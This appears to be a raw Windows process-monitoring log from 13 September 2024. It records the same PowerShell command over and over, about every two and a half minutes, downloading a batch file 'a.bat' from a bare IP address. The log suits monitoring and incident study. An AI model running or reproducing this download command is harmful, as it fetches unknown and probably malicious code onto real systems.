C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:04:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:07:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:09:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:12:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:14:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:17:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:19:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:22:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:24:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:27:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:29:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:32:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:34:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:37:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:39:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:42:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:44:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:47:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:49:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:52:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:54:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:57:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 17:59:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:02:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:04:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:07:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:09:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:12:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:14:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:17:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:19:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:22:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:24:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:27:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:29:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:32:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:34:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:37:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:39:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:42:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:44:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:47:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:49:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:52:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:54:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:57:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 18:59:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:02:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:04:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:07:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:09:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:12:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:14:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:17:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:20:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:22:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:25:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:27:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:30:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:32:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:35:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:37:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:40:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:42:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:45:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:47:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:50:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:52:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:55:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 19:57:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:00:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:02:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:05:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:07:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:10:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:12:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:15:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:17:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:20:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:22:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:25:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:27:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:30:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:32:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:35:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:37:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:40:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:42:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:45:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:47:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:50:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:52:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:55:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 20:57:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:00:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:02:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:05:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:07:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:10:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:12:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:15:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:17:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:20:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:22:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:25:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:27:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:30:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:32:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:35:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:37:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:40:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:42:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:45:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:47:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:50:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:52:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:55:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 21:57:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:00:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:02:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:05:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:08:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:10:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:13:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:15:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:18:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:20:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:23:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:25:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:28:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:30:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:33:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:35:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:38:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-13 22:40:36 NOTIFY: PROCESS 